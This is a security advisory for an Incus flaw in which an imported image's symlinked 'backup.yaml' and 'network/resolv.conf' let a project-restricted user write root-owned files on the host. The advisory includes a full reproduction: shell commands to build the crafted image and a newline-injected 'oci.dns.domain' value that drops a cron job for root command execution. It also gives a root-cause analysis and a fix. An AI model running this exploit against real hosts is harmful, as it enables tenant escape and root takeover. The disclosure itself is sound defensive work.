CVE-2026-81494
Published:October 12, 2026
Updated:October 13, 2026
Summary Incus extracts a unified image's top-level files straight into the instance directory, and later writes to two of those paths as root without checking for symlinks: "backup.yaml" (at instance create) and "network/resolv.conf" (at OCI container start). An imported image can ship those names as absolute symlinks pointing anywhere on the host. When the instance is created and started, "incusd" follows them and writes root-owned files outside the instance directory. Because "oci.dns.domain" and "oci.dns.search" accept newlines, the content written to "resolv.conf" is attacker-controlled. Pointing that symlink at "/etc/cron.d/" turns the write into root command execution. This is reachable by importing a crafted image ("incus image import"), not by pulling one from an OCI/Docker registry - the registry path rebuilds the metadata tarball from only "config.json" and "metadata.yaml", so it can't carry these entries. ## Who can do this The relevant boundary is the project-scoped (restricted) certificate, which Incus treats as an "operator ("internal/server/auth/driver_tls.go:83-94", role assigned at ":242"). Such a user has full rights inside their own project - including importing images and creating/starting instances - but is not a server admin and is confined to their project. This bug lets that operator write files as root on the host, escaping the project. It does not add any privilege in the default single-admin setup (local socket, one unrestricted cert), where an image importer is already root-equivalent. The "PR:L" score assumes the restricted/multi-tenant model. ## Root cause 1. Image top-level content is unpacked into the instance directory and never sanitized. "getImageMetadata()" ("cmd/incusd/images.go") only checks that "metadata.yaml" and a "rootfs/" entry exist; it doesn't reject extra entries like "network/" or "backup.yaml". "ImageUnpack()" ("internal/server/storage/utils.go") only "Lstat"s "rootfs" for a symlink. On the dir backend the whole tarball goes straight into the instance volume. 2. Two root writes under the instance dir use plain "os.WriteFile"/"os.Create", which follow symlinks. The sibling "templates" and "credentials" writes in the same driver were already moved to "os.OpenRoot"; these two were not. | Path | Location (7.2.0 → main) | Written at | Instance types | |---|---|---|---| | "network/resolv.conf" | "driver_lxc.go:2635" → ":2644" | OCI start | OCI containers | | "backup.yaml" | "backend.go:6967" → ":7042" | instance create | all containers + VMs | 3. "oci.dns.domain" / "oci.dns.search" use "validate.IsAny" ("internal/instance/config.go:816/825", ":830/839" on main), so newlines pass. "resolv.conf" is built with "fmt.Fprintf(&resolvConf, "domain %s\n", value)", so a newline in the value adds a second, fully controlled line. "backup.yaml" is the broader of the two: it needs no "config.json" or "oci.*" config, fires on create for every instance type, and isn't fixed by hardening only the "network/" writes. ## Call path Create → "instanceCreateFromImage()" ("instance.go:137") → "CreateInstanceFromImage()" ("backend.go:1824") unpacks the image into the instance dir (planting the symlinks), then "UpdateBackupFile()" ("instance.go:273") → "os.Create(inst.Path()/backup.yaml)" ("backend.go:7042") follows the symlink. Start → config generation checks "PathExists(d.Path()/config.json)" ("driver_lxc.go:2426"), then "os.WriteFile(d.Path()/network/resolv.conf, …)" (":2644") follows the symlink. ## What I tested Incus 7.2 (client and server), dir storage backend, "incus admin init --minimal", Ubuntu 24.04. One crafted image with both symlinks. - "incus init" wrote the "backup.yaml" symlink target as "root:root", mode 0400, outside the instance dir, containing the instance's backup YAML. No start needed. - "incus start" wrote the "resolv.conf" symlink target as "root:root", mode 0644. The nested container start then failed under Docker ("forklxc"), but the write happens during config generation before that, so it lands regardless. On a full VM the start also completes. - Root command execution via "/etc/cron.d": this needs one detail. A value like "x\n* * * * * root <cmd>" writes "domain x" as the first line, which cron 3.0pl1 (Debian/Ubuntu) treats as a syntax error and drops the whole file - nothing runs. Prefixing the value with "=" (so the line becomes "domain =x") makes cron read it as an environment assignment ("domain=x"), the file is accepted, and the next line runs. With that, cron executed the injected command as root; the proof file contained "uid=0(root) gid=0(root) groups=0(root)". The arbitrary root write itself needs no cron and no other component. Code execution needs a host-side consumer of the file - cron is the one I demonstrated (present by default on most server distros), and needs the "=" trick above. Other consumers ("~root/.ssh/authorized_keys", "/etc/ld.so.preload") have their own preconditions. ## Reproduction Tested on a disposable host with Incus 7.2.0 and a dir storage pool ("incus admin init --minimal"). Everything below runs as an ordinary Incus user against their own project; the files that get written are owned by root. ### 1. Build the crafted image The same image carries both symlinks. "backup.yaml" is aimed at a harmless "/tmp" marker (proves the write); "network/resolv.conf" is aimed at "/etc/cron.d" (proves code execution). Point both at "/tmp" if you only want the write proof. "bash mkdir -p img/rootfs img/network cat > img/metadata.yaml <<'EOF' architecture: x86_64 creation_date: 1 properties: type: oci EOF # minimal but valid OCI runtime spec; process.args is dereferenced before the resolv.conf write printf '{"ociVersion":"1.0.2","process":{"user":{"uid":0,"gid":0},"args":["/bin/sh"],"cwd":"/"},"root":{"path":"rootfs"}}' > img/config.json ln -s /tmp/incus-write-proof img/backup.yaml # write target (create) ln -s /etc/cron.d/incus-rce img/network/resolv.conf # RCE target (start) tar --owner=0 --group=0 --numeric-owner -C img -cf image.tar \ metadata.yaml rootfs config.json network backup.yaml tar -tf image.tar # confirms the two entries are symlinks " ### 2. Arbitrary root write - "backup.yaml", fires at create "bash incus image import image.tar --alias evil incus init evil victim stat -c '%n %U:%G %a' /tmp/incus-write-proof " Expected: the file exists outside any instance directory, owned by root: "/tmp/incus-write-proof root:root 400" "/tmp/incus-write-proof" now holds the instance's backup YAML - proof that "os.Create(inst.Path()/backup.yaml)" followed the symlink. This alone is the arbitrary-write primitive and needs no container start. ### 3. Root command execution - "resolv.conf" into "/etc/cron.d" The injected value must start with "=" so the first line becomes "domain =x", which cron reads as an environment assignment; without it, the leading "domain x" line is a cron syntax error and Debian/Ubuntu cron drops the whole file. "bash incus config set victim oci.dns.domain "$(printf '=x\n* * * * * root id > /tmp/rce 2>&1')" incus start victim # writes /etc/cron.d/incus-rce via the symlink (start itself may error afterwards) cat /etc/cron.d/incus-rce " Expected file (root:root, 0644): "domain =x * * * * * root id > /tmp/rce 2>&1" Within a minute cron runs it as root: "bash sleep 65; cat /tmp/rce # uid=0(root) gid=0(root) groups=0(root) " ### Cleanup "bash incus delete -f victim; incus image delete evil rm -f /tmp/incus-write-proof /tmp/rce /etc/cron.d/incus-rce " ## Impact Arbitrary create/truncate of any root-writable file on the host (I:H/A:H): truncate "/etc/shadow", overwrite a systemd unit, corrupt "incusd" state. Root command execution (C:H/I:H/A:H) when the write lands in a file a root process reads, as shown with cron. The write is in the host mount namespace and isn't limited by the container's user namespace or privilege level. ## Fix 1. Do the writes under the instance dir through "os.OpenRoot" (already used for templates and credentials): "backup.yaml", "network/resolv.conf", "network/hosts", "network/hostname", "network/dhcp.skip". 2. After unpack, reject or remove daemon-owned top-level entries ("network/", "backup.yaml", "config.json", "credentials/", "state/", …) instead of trusting the image; extend the existing "rootfs" symlink check to them. 3. Reject "\r"/"\n" in "oci.dns.domain" and each "oci.dns.search" element.
Affected Packages
https://github.com/lxc/incus.git (GITHUB):
Affected version(s) =v7.2.0 <v7.3.0Fix Suggestion:
Update to version v7.3.0github.com/lxc/incus (GO):
Affected version(s) >=v0.1.0 <v7.3.0Fix Suggestion:
Update to version v7.3.0github.com/lxc/incus/v7 (GO):
Affected version(s) >=v7.1.0 <v7.3.0Fix Suggestion:
Update to version v7.3.0Related Resources (3)
Do you need more information?
Contact UsCVSS v4
Base Score:
8.5
Attack Vector
NETWORK
Attack Complexity
LOW
Attack Requirements
NONE
Privileges Required
LOW
User Interaction
NONE
Vulnerable System Confidentiality
NONE
Vulnerable System Integrity
HIGH
Vulnerable System Availability
HIGH
Subsequent System Confidentiality
NONE
Subsequent System Integrity
HIGH
Subsequent System Availability
HIGH
CVSS v3
Base Score:
9.6
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
CHANGED
Confidentiality
NONE
Integrity
HIGH
Availability
HIGH